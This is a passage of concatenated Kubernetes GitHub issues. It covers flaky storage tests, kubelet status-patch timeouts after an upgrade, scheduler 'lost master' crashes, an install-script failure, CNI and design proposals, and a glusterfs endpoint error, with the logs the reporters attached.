as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.3\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : server: ubuntu 16.04 client: windows server 2016\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

flaky job: \r     pr:pull-kubernetes-e2e-gce\r consistency: 86.6%\r \r    flakiest tests: \r    sig-storage  volumes pd should be mountable with ext3 \r flakes in the past week: 14\r \r    sig-storage  volumes pd should be mountable with ext4\r flakes in the past week: 22\r \r this issue has resurfaced again and is one of the top flake currently. here's the testgrid link which will lead to gubernator for detailed logs\r \r https://k8s-testgrid.appspot.com/sig-storage gce&include-filter-by-regex=volumes%20pd%20should%20be%20mountable%20with\r \r please work on finding a fix for the flakes\r \r / /  

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r bump the kubernetes-cni packages to version 0.7.4 of the cni plugins\r \r   why is this needed  :\r \r i require these options from the portmap plugin https://github.com/containernetworking/plugins/tree/master/plugins/meta/portmap\r \r    \r conditionsv4, conditionsv6 - array of strings. a list of arbitrary iptables matches to add to the per-container rule. this may be useful if you wish to exclude specific ips from port-mapping\r    \r \r these options were released in v0.7.0-rc1\r \r  \r i can override the binaries manually for now however anytime kubernetes-cni update it will override my changes so i rather have the kubernetes-cni packages updated.

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r after upgrade kubernetes from v1.9.11 to v1.13.2 in  place, some of node cannot patch its node status to kube-apiserver. even kubelet cannot watch configmap because it  use of closed network connection .\r \r   what you expected to happen  :\r \r kubelet can patch its status successfully\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r not sure. at least 250 pods on the node, or upgrade kubelet from v1.9.11 to v1.13.2 in place?\r \r   anything else we need to know?  :\r \r the problem occurs in k8s upgrades, almost 60 nodes upgrade successfully, but some of them report watch closed, and two of them cannot patch node status, and node not ready after 40s.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 13+\ , gitversion:\ v1.13.2-2\ , gitcommit:\ 9b1517e9763225a100794a58d893c94e101c2c23\ , gittreestate:\ clean\ , builddate:\ 2019-02-13t09:58:58z\ , goversion:\ go1.11.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13+\ , gitversion:\ v1.13.2-2\ , gitcommit:\ 9b1517e9763225a100794a58d893c94e101c2c23\ , gittreestate:\ clean\ , builddate:\ 2019-02-13t09:56:10z\ , goversion:\ go1.11.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - os  e.g:  cat /etc/os-release  :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r - kernel  e.g.  uname -a  :\r linux vms70321 4.10.13-1.el7.elrepo.x86_64  1 smp thu apr 27 12:06:06 edt 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r \r i cannot decrypt ssl file with tcpdump because dhe algorithm, also i cannot analysis tcp process with wireshark because client reset it after 10s default , and nothing can be observed.\r after rollbacking kubelet to v1.9.11, node become  ready \r \r log:\r    bash\r i0218 20:50:07.250032   25079 request.go:942  request body: {\ status\ :{\ $setelementorder/conditions\ : {\ type\ :\ outofdisk\ },{\ type\ :\ memorypressure\ },{\ type\ :\ diskpressure\ },{\ type\ :\ ready\ },{\ type\ :\ pidpressure\ } ,\ conditions\ : {\ lastheartbeattime\ :\ 2019-02-18t12:50:07z\ ,\ type\ :\ memorypressure\ },{\ lastheartbeattime\ :\ 2019-02-18t12:50:07z\ ,\ type\ :\ diskpressure\ },{\ lastheartbeattime\ :\ 2019-02-18t12:50:07z\ ,\ type\ :\ ready\ },{\ lastheartbeattime\ :\ 2019-02-18t12:50:07z\ ,\ type\ :\ pidpressure\ } }}\r i0218 20:50:07.250102   25079 round_trippers.go:416  patch https://master:6443/api/v1/nodes/node01/status?timeout=10s\r i0218 20:50:07.250110   25079 round_trippers.go:423  request headers:\r i0218 20:50:07.250116   25079 round_trippers.go:426      user-agent: kubelet/v1.13.2  linux/amd64  kubernetes/9b1517e\r i0218 20:50:07.250121   25079 round_trippers.go:426      accept: application/vnd.kubernetes.protobuf,  / \r i0218 20:50:07.250126   25079 round_trippers.go:426      content-type: application/strategic-merge-patch+json\r \r i0218 20:50:17.309986   25079 round_trippers.go:441  response status:  in 10059 milliseconds\r i0218 20:50:17.310004   25079 round_trippers.go:444  response headers:\r \r e0218 20:50:17.516226   25079 kubelet_node_status.go:380  error updating node status, will retry: failed to patch status \ {\\\ status\\\ :{\\\ $setelementorder/conditions\\\ : {\\\ type\\\ :\\\ outofdisk\\\ },{\\\ type\\\ :\\\ memorypressure\\\ },{\\\ type\\\ :\\\ diskpressure\\\ },{\\\ type\\\ :\\\ ready\\\ },{\\\ type\\\ :\\\ pidpressure\\\ } ,\\\ conditions\\\ : {\\\ lastheartbeattime\\\ :\\\ 2019-02-18t12:50:07z\\\ ,\\\ type\\\ :\\\ memorypressure\\\ },{\\\ lastheartbeattime\\\ :\\\ 2019-02-18t12:50:07z\\\ ,\\\ type\\\ :\\\ diskpressure\\\ },{\\\ lastheartbeattime\\\ :\\\ 2019-02-18t12:50:07z\\\ ,\\\ type\\\ :\\\ ready\\\ },{\\\ lastheartbeattime\\\ :\\\ 2019-02-18t12:50:07z\\\ ,\\\ type\\\ :\\\ pidpressure\\\ } }}\  for node \ svr3304hw2288\ : patch https:// master:6443/api/v1/nodes/\r node01/status?timeout=10s: context deadline exceeded\r    \r and\r \r    bash\r i0218 16:15:58.838129   42589 streamwatcher.go:107  unable to decode an event from the watch stream: read tcp node01:56934->master:6443: use of closed network connection\r i0218 16:15:58.838158   42589 reflector.go:357  object-\ redis\ /\ envs-ttdarchmsgredis42-728336\ : watch close -  v1.configmap total 0 items received\r i0218 16:15:58.838268   42589 round_trippers.go:416  get https://master:6443/api/v1/namespaces/redis/configmaps?fieldselector=metadata.name%3denvs-ttdarchmsgredis42-728336&resourceversion=171296292&timeout=6m9s&timeoutseconds=369&watch=true\r i0218 16:15:58.838275   42589 round_trippers.go:423  request headers:\r i0218 16:15:58.838280   42589 round_trippers.go:426      accept: application/vnd.kubernetes.protobuf,  / \r i0218 16:15:58.838285   42589 round_trippers.go:426      user-agent: kubelet/v1.13.2  linux/amd64  kubernetes/9b1517e\r i0218 16:15:58.838464   42589 streamwatcher.go:107  unable to decode an event from the watch stream: read tcp node01:56934->master:6443: use of closed network connection\r    \r

fyi. we should add a secret manager to store the pull secrets for different namespaces. thus for duplicate secrets, we have no need to talk to api server. actually i am working on this manager, but i have no idea about when to remove a secret.

i've been thinking whether it makes sense to start/stop probers using pleg events.  pros: - faster reaction to container events. - no need for  cleanuppods  now that the probers will be stopped when the container no longer exists - the potential to simplify some logic in prober  see https://github.com/yujuhong/kubernetes/commit/918477ccea9ddfc341c05c7bf0ac2dd7dd5ad057 and ignore prober/testing.go. note that the commit can compile, but i didn't test if it works .  cons: - need to pass internal pod status cache to probers  since the status manager may not have the latest result yet, and we need to know the pod ip for probing  - relying on events.   /cc @timstclair @random-liu

the  kubelet  has a constant  maxwaitforcontainerruntime  that is set at 5 minutes. see: https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kubelet.go l105  if  docker  daemon goes down, and it is unable to restart for any reason  storage is corrupt, etc. , the  kubelet  will wait for 5 minutes before reporting the node as  notready .  this is because that wait period is plumbed through the code that monitors the container runtime state to know how to report if a node ready condition. see: https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/runtime.go l91  this has real-world impacts in following scenarios: 1. user has a pod on node x with  restartpolicy=always , container run-time goes down, pod reports with  status=completed  in cli because it has an exit code, where  initialized=true,ready=false,podscheduled=true , but its never actually able to restart.  the user has to wait 5 minutes for the node to report  notready , and then another 5 minutes for node controller to evict the pod before ultimately getting a new backing pod created.   2. new pods continue to get scheduled to this node, but are never able to run in a sufficient amount of time.  either case results in 10 minutes of unexpected downtime, where 5 minutes of that time is not tunable by operators.  to address this issue, i could see us doing any of the following: 1.  kubelet  can tune  maxwaitforcontainerruntime  via a new flag. 2.  kubelet  can provide a separate sla on how many attempts it makes to start or restart a scheduled pod if container runtime is reporting an error before actively evicting the pod.  thoughts?  @kubernetes/sig-node @yujuhong @kubernetes/rh-cluster-infra @smarterclayton

this is a tracking issue to cover the open issues and features necessary for running a significant 3rd party extension on top of a kubernetes cluster.  depending on the complexity of an extension, some or all of these may be needed.  at this time, the most complex extension is  openshift  https://github.com/openshift/origin  and the items below these derive from those use cases, but i expect as other components that wish to extend or integrate with the cluster  logs, heapster, auditors, cluster integrations  are developed these will be useful.  the end result of this issue, as required features are implemented, should be a document describing how to build new cluster components that expose new capabilities on top of the core cluster services, what best practices should be followed, what design patterns to avoid, and to encode useful patterns into libraries and examples when someone wishes to \ extend kubernetes to do x\ .  some of the items discussed below may not fit into that document - they will be moved into other umbrella issues or their own as time goes on.  note, some of these overlap with regular application features, but are specifically listed here because in an ideal cluster components become aware of their environment and can use its apis to leverage the flexibility the cluster manager provides.     use cases  still wip  - allow components running on the infrastructure...   - to be highly available   - to have persistent storage that can survive the death of individual nodes for data persistence     - in small clusters, it is sufficient to allow some components access to the core etcd  suitably protected      - in larger clusters, it is preferable to allow components to run their own available data stores  overlaps with database use case    - to have new versions deployed predictably   - to securely connect to the api server with high level authority  delegate cluster admin control to a component  and be configured with that authority automatically   - to perform pass through or delegated authentication for an api consumer that has a token for accessing the core services   - to set and configure security policy via api  or allow an admin to easily define additional policy  - allow core client tools to...   - discover rest resources provided by a plugin and operate on them in a generic fashion  simple crud operations  -  discussed  https://github.com/googlecloudplatform/kubernetes/pull/1355    - apply standard patterns of templatization, creation, and behavior to any resource that follows the core patterns  discussed  https://github.com/googlecloudplatform/kubernetes/issues/1702    - be easily reused by 3rd party client creators  kubectl, pkg/client, future ui  to build extensions of the core behavior -  implemented  https://github.com/googlecloudplatform/kubernetes/pull/2682      - design the kubectl commands so they can easily be tweaked to add new resources, or change the display and help text     - ensure reviewers are aware of the additional reqts on the kubectl code     - add unit tests to  pkg/kubectl  that verify generic kubectl commands do not depend on kube specific globals - allow a cluster to be configured...   - to use a different scheduler -  implemented  https://github.com/googlecloudplatform/kubernetes/issues/357  /  example  https://github.com/googlecloudplatform/kubernetes/blob/master/plugin/cmd/kube-scheduler/scheduler.go    - to use a different authentication / identity provider -  designed  https://github.com/googlecloudplatform/kubernetes/blob/master/docs/design/access.md authentication    - to use a different policy engine for authorization -  discussed  https://github.com/googlecloudplatform/kubernetes/blob/master/docs/design/access.md authorization      - an endpoint that could be configured via cluster config to make authorization decisions, provided by openshift or other service   - to use a different admission controller on pod  or service, or rc, etc  so that different decision processes may be possible -  designed  https://github.com/googlecloudplatform/kubernetes/blob/master/docs/design/admission_control.md    - so that an external plugin can contribute environment variables, volume configuration, or potentially security information into running pods without having to replace the scheduler or alter the code of the apiserver

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r kube-scheduler, scheduler, dies, lost, master\r \r ---\r \r   is this a bug report or feature request?    choose one :   bug report  \r \r   kubernetes version    use  kubectl version  :   v1.5.2  \r \r \r   environment  :\r -   cloud provider or hardware configuration  : virtualbox vm\r -   os    e.g. from /etc/os-release : ubuntu 16.04\r \r \r   what happened  :\r \r the kube-scheduler process dies when it looses connection to the api server. the behavior is not deterministic. that is, i have not been able to reproduce this issue 100% of the time.\r \r it is being caused due to: https://github.com/kubernetes/kubernetes/blob/master/plugin/cmd/kube-scheduler/app/server.go l108\r \r   what you expected to happen  :\r the kube-scheduler process could enter a crash-loop until it's able to talk to the api server again.\r \r   how to reproduce it    as minimally and precisely as possible :\r stop the api server that is being consumed by the scheduler.\r \r   anything else we need to know  :\r \r logs:\r    \r feb 14 18:38:10 node001 kube-scheduler 17481 : e0214 18:38:10.119911   17481 reflector.go:199  pkg/controller/informers/factory.go:89: failed to list  api.persistentvolumeclaim: get https://192.168.42.2:6443/api/v1/persistentvolumeclaims?resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:10 node001 kube-scheduler 17481 : e0214 18:38:10.122210   17481 reflector.go:199  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:481: failed to list  extensions.replicaset: get https://192.168.42.2:6443/apis/extensions/v1beta1/replicasets?resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:10 node001 kube-scheduler 17481 : e0214 18:38:10.122486   17481 reflector.go:199  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:463: failed to list  api.node: get https://192.168.42.2:6443/api/v1/nodes?resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:10 node001 kube-scheduler 17481 : e0214 18:38:10.122516   17481 reflector.go:199  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:473: failed to list  api.replicationcontroller: get https://192.168.42.2:6443/api/v1/replicationcontrollers?resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:10 node001 kube-scheduler 17481 : e0214 18:38:10.122539   17481 reflector.go:199  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:466: failed to list  api.persistentvolume: get https://192.168.42.2:6443/api/v1/persistentvolumes?resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:10 node001 kube-scheduler 17481 : e0214 18:38:10.122570   17481 reflector.go:199  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:460: failed to list  api.pod: get https://192.168.42.2:6443/api/v1/pods?fieldselector=spec.nodename%21%3d%2cstatus.phase%21%3dfailed%2cstatus.phase%21%3dsucceeded&resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:10 node001 kube-scheduler 17481 : e0214 18:38:10.122594   17481 reflector.go:199  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:470: failed to list  api.service: get https://192.168.42.2:6443/api/v1/services?resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:11 node001 kube-scheduler 17481 : e0214 18:38:11.120409   17481 reflector.go:199  pkg/controller/informers/factory.go:89: failed to list  api.persistentvolumeclaim: get https://192.168.42.2:6443/api/v1/persistentvolumeclaims?resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:11 node001 kube-scheduler 17481 : e0214 18:38:11.120458   17481 reflector.go:199  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:457: failed to list  api.pod: get https://192.168.42.2:6443/api/v1/pods?fieldselector=spec.nodename%3d%2cstatus.phase%21%3dfailed%2cstatus.phase%21%3dsucceeded&resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:11 node001 kube-scheduler 17481 : e0214 18:38:11.122800   17481 reflector.go:199  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:481: failed to list  extensions.replicaset: get https://192.168.42.2:6443/apis/extensions/v1beta1/replicasets?resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:11 node001 kube-scheduler 17481 : e0214 18:38:11.122835   17481 reflector.go:199  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:463: failed to list  api.node: get https://192.168.42.2:6443/api/v1/nodes?resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:11 node001 kube-scheduler 17481 : e0214 18:38:11.123933   17481 reflector.go:199  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:460: failed to list  api.pod: get https://192.168.42.2:6443/api/v1/pods?fieldselector=spec.nodename%21%3d%2cstatus.phase%21%3dfailed%2cstatus.phase%21%3dsucceeded&resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:11 node001 kube-scheduler 17481 : e0214 18:38:11.124245   17481 reflector.go:199  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:466: failed to list  api.persistentvolume: get https://192.168.42.2:6443/api/v1/persistentvolumes?resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:11 node001 kube-scheduler 17481 : e0214 18:38:11.124275   17481 reflector.go:199  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:473: failed to list  api.replicationcontroller: get https://192.168.42.2:6443/api/v1/replicationcontrollers?resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:11 node001 kube-scheduler 17481 : e0214 18:38:11.124300   17481 reflector.go:199  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:470: failed to list  api.service: get https://192.168.42.2:6443/api/v1/services?resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:11 node001 kube-scheduler 17481 : e0214 18:38:11.698958   17481 leaderelection.go:228  error retrieving resource lock kube-system/kube-scheduler: get https://192.168.42.2:6443/api/v1/namespaces/kube-system/endpoints/kube-scheduler: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:12 node001 kube-scheduler 17481 : e0214 18:38:12.123338   17481 reflector.go:199  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:457: failed to list  api.pod: get https://192.168.42.2:6443/api/v1/pods?fieldselector=spec.nodename%3d%2cstatus.phase%21%3dfailed%2cstatus.phase%21%3dsucceeded&resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:12 node001 kube-scheduler 17481 : e0214 18:38:12.123374   17481 reflector.go:199  pkg/controller/informers/factory.go:89: failed to list  api.persistentvolumeclaim: get https://192.168.42.2:6443/api/v1/persistentvolumeclaims?resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:12 node001 kube-scheduler 17481 : e0214 18:38:12.123403   17481 reflector.go:199  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:481: failed to list  extensions.replicaset: get https://192.168.42.2:6443/apis/extensions/v1beta1/replicasets?resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:12 node001 kube-scheduler 17481 : e0214 18:38:12.132099   17481 reflector.go:199  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:473: failed to list  api.replicationcontroller: get https://192.168.42.2:6443/api/v1/replicationcontrollers?resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:12 node001 kube-scheduler 17481 : e0214 18:38:12.132131   17481 reflector.go:199  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:466: failed to list  api.persistentvolume: get https://192.168.42.2:6443/api/v1/persistentvolumes?resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:12 node001 kube-scheduler 17481 : e0214 18:38:12.132158   17481 reflector.go:199  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:460: failed to list  api.pod: get https://192.168.42.2:6443/api/v1/pods?fieldselector=spec.nodename%21%3d%2cstatus.phase%21%3dfailed%2cstatus.phase%21%3dsucceeded&resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:12 node001 kube-scheduler 17481 : e0214 18:38:12.132179   17481 reflector.go:199  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:463: failed to list  api.node: get https://192.168.42.2:6443/api/v1/nodes?resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:12 node001 kube-scheduler 17481 : e0214 18:38:12.132198   17481 reflector.go:199  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:470: failed to list  api.service: get https://192.168.42.2:6443/api/v1/services?resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:13 node001 kube-scheduler 17481 : e0214 18:38:13.124901   17481 reflector.go:199  pkg/controller/informers/factory.go:89: failed to list  api.persistentvolumeclaim: get https://192.168.42.2:6443/api/v1/persistentvolumeclaims?resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:13 node001 kube-scheduler 17481 : e0214 18:38:13.124950   17481 reflector.go:199  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:457: failed to list  api.pod: get https://192.168.42.2:6443/api/v1/pods?fieldselector=spec.nodename%3d%2cstatus.phase%21%3dfailed%2cstatus.phase%21%3dsucceeded&resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:13 node001 kube-scheduler 17481 : e0214 18:38:13.124985   17481 reflector.go:199  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:481: failed to list  extensions.replicaset: get https://192.168.42.2:6443/apis/extensions/v1beta1/replicasets?resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:13 node001 kube-scheduler 17481 : e0214 18:38:13.135062   17481 reflector.go:199  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:463: failed to list  api.node: get https://192.168.42.2:6443/api/v1/nodes?resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:13 node001 kube-scheduler 17481 : e0214 18:38:13.135109   17481 reflector.go:199  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:460: failed to list  api.pod: get https://192.168.42.2:6443/api/v1/pods?fieldselector=spec.nodename%21%3d%2cstatus.phase%21%3dfailed%2cstatus.phase%21%3dsucceeded&resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:13 node001 kube-scheduler 17481 : e0214 18:38:13.135145   17481 reflector.go:199  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:466: failed to list  api.persistentvolume: get https://192.168.42.2:6443/api/v1/persistentvolumes?resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:13 node001 kube-scheduler 17481 : e0214 18:38:13.135176   17481 reflector.go:199  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:473: failed to list  api.replicationcontroller: get https://192.168.42.2:6443/api/v1/replicationcontrollers?resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:13 node001 kube-scheduler 17481 : e0214 18:38:13.135210   17481 reflector.go:199  k8s.io/kubernetes/plugin/pkg/scheduler/factory/factory.go:470: failed to list  api.service: get https://192.168.42.2:6443/api/v1/services?resourceversion=0: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:13 node001 kube-scheduler 17481 : e0214 18:38:13.698619   17481 leaderelection.go:228  error retrieving resource lock kube-system/kube-scheduler: get https://192.168.42.2:6443/api/v1/namespaces/kube-system/endpoints/kube-scheduler: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:13 node001 kube-scheduler 17481 : e0214 18:38:13.698735   17481 leaderelection.go:228  error retrieving resource lock kube-system/kube-scheduler: get https://192.168.42.2:6443/api/v1/namespaces/kube-system/endpoints/kube-scheduler: dial tcp 192.168.42.2:6443: getsockopt: connection refused\r feb 14 18:38:13 node001 kube-scheduler 17481 : e0214 18:38:13.698758   17481 event.go:258  could not construct reference to: '&api.endpoints{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:api.objectmeta{name:\ \ , generatename:\ \ , namespace:\ \ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, deletiontimestamp:  unversioned.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  api.ownerreference nil , finalizers:  string nil , clustername:\ \ }, subsets:  api.endpointsubset nil }' due to: 'selflink was empty, can't make reference'. will not report event: 'normal' 'leaderelection' 'node001 stopped leading'\r feb 14 18:38:13 node001 kube-scheduler 17481 : i0214 18:38:13.701856   17481 leaderelection.go:207  failed to renew lease kube-system/kube-scheduler\r feb 14 18:38:13 node001 kube-scheduler 17481 : f0214 18:38:13.702835   17481 server.go:169  lost master\r

hi,\r i'm trying to install the kubernetes cluster using   ubuntu 16.0.4 server   using the kubernetes.io documentation below link:\r \r   https://kubernetes.io/docs/getting-started-guides/ubuntu/manual/  \r \r fernando@s500lxkubernetes01:~/kubernetes/cluster$ debug=true kubernetes_provider=ubuntu ./kube-up.sh\r ... starting cluster using provider: ubuntu\r ... calling verify-prereqs\r identity added: /home/fernando/.ssh/id_rsa  /home/fernando/.ssh/id_rsa \r ... calling verify-kube-binaries\r !!! kubectl appears to be broken or missing\r required binaries appear to be missing. do you wish to download them?  y/n \r y\r kubernetes release: 1.6.1\r server: linux/amd64   to override, set kubernetes_server_arch \r client: linux/amd64   autodetected \r \r nothing additional to download.\r ... calling kube-up\r ~/kubernetes/cluster/ubuntu ~/kubernetes/cluster\r prepare flannel 0.7.0 release ...\r prepare etcd 3.0.17 release ...\r prepare kubernetes 1.6.1 release ...\r done! all your binaries locate in kubernetes/cluster/ubuntu/binaries directory\r ~/kubernetes/cluster\r \r deploying master and node on machine 10.31.0.231\r saltbase/salt/generate-cert/make-ca-cert.sh: no such file or directory\r easy-rsa.tar.gz                                                                                    100%   42kb  42.4kb/s   00:00    \r config-default.sh                                                                                  100% 6317     6.2kb/s   00:00    \r util.sh                                                                                            100%   29kb  29.0kb/s   00:00    \r kube-proxy.conf                                                                                    100%  688     0.7kb/s   00:00    \r kubelet.conf                                                                                       100%  645     0.6kb/s   00:00    \r kube-proxy                                                                                         100% 2233     2.2kb/s   00:00    \r kubelet                                                                                            100% 2158     2.1kb/s   00:00    \r etcd.conf                                                                                          100%  707     0.7kb/s   00:00    \r kube-scheduler.conf                                                                                100%  682     0.7kb/s   00:00    \r kube-apiserver.conf                                                                                100%  682     0.7kb/s   00:00    \r kube-controller-manager.conf                                                                       100%  761     0.7kb/s   00:00    \r kube-apiserver                                                                                     100% 2358     2.3kb/s   00:00    \r etcd                                                                                               100% 2073     2.0kb/s   00:00    \r kube-scheduler                                                                                     100% 2360     2.3kb/s   00:00    \r kube-controller-manager                                                                            100% 2672     2.6kb/s   00:00    \r reconfdocker.sh                                                                                    100% 2183     2.1kb/s   00:00    \r kube-apiserver                                                                                     100%  142mb 142.5mb/s   00:01    \r etcdctl                                                                                            100%   18mb  17.6mb/s   00:00    \r etcd                                                                                               100%   19mb  19.3mb/s   00:00    \r flanneld                                                                                           100%   64mb  64.3mb/s   00:01    \r kube-scheduler                                                                                     100%   72mb  72.1mb/s   00:00    \r kube-controller-manager                                                                            100%  126mb 125.5mb/s   00:01    \r kube-proxy                                                                                         100%   61mb  61.1mb/s   00:01    \r kubelet                                                                                            100%  132mb 132.2mb/s   00:01    \r flanneld                                                                                           100%   64mb  64.3mb/s   00:00    \r \r \r after executing kub-up.sh it returns me the following error   \ saltbase / salt / generate-cert / make-ca-cert.sh: no such file or directory\    and does not finish the installation and configuration of kubernetes, you can help out?\r \r tks,\r \r \r <!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

\r noticed below error message in logs with latest kube and glusterfs plugin.\r \r    \r e0721 12:42:10.108878    6212 glusterfs.go:150  glusterfs: failed to get endpoints pvc-1983190d-6de1-11e7-ad35-c85b7636c232 an empty namespace may not be set when a resource name is provided \r \r e0721 12:42:10.109019    6212 reconciler.go:367  could not construct volume information: mountvolume.newmounter failed for volume \ kubernetes.io/glusterfs/d8a5cdc1-6de1-11e7-ad35-c85b7636c232-pvc-1983190d-6de1-11e7-ad35-c85b7636c232\   spec.name: \ pvc-1983190d-6de1-11e7-ad35-c85b7636c232\   pod \ d8a5cdc1-6de1-11e7-ad35-c85b7636c232\   uid: \ d8a5cdc1-6de1-11e7-ad35-c85b7636c232\   with: an empty namespace may not be set when a resource name is provided\r \r     \r ~~~\r  root@localhost demo   kubectl get ep,svc\r name                           endpoints                                                    age\r ep/glusterfs-dynamic-claim11   172.17.0.1:1,192.168.10.100:1,192.168.10.101:1 + 1 more...   36m\r ep/kubernetes                  192.168.43.105:6443                                          37m\r \r name                            type        cluster-ip   external-ip   port s    age\r svc/glusterfs-dynamic-claim11   